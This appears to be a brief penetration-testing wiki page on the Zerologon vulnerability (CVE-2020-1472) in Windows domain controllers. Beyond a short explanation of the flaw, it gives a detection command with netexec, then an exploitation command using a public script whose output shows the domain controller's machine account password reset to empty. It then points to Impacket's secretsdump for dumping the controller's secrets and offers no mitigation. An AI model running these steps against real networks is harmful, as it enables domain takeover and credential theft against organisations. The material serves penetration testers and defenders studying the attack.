Zerologon

What is Zerologon

Zerologon is a critical vulnerability that was first discovered in 2020 and is officially referred to as CVE-2020-1472. It affects the Microsoft Windows Server operating systems, specifically those running the Netlogon Remote Protocol (MS-NRPC).

The vulnerability allows an attacker with network access to a domain controller to impersonate the identity of any computer on that network. By exploiting Zerologon, an attacker can gain unauthorized access to a domain controller, potentially compromising the entire domain.

The vulnerability occurs due to insecure usage of the AES-CFB8 encryption algorithm within the Netlogon authentication process. By sending a series of Netlogon messages with specific parameters, an attacker can set the computer password to a blank value, effectively bypassing authentication.

Detection

Use Netexec (former CME) or PingCastle's scanner to easily detect Zerologon.

netexec smb 192.168.0.1 -u '' -p '' -M zerologon

ZEROLOGO... 192.168.0.1    445    DC01              VULNERABLE
ZEROLOGO... 192.168.0.1    445    DC01              Next step: https://github.com/dirkjanm/CVE-2020-1472

Exploitation

Use Dirkjan's exploit script to easily exploit Zerologon

python cve-2020-1472-exploit.py DC01 192.168.0.1

Performing authentication attempts...
========================================================================================================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

It will change the DC machine account password to an empty string.

Harvesting

Now use Impacket's Secretsdump to dump the DC's secrets

Note that the dollar sign is escaped

Tooling

Last updated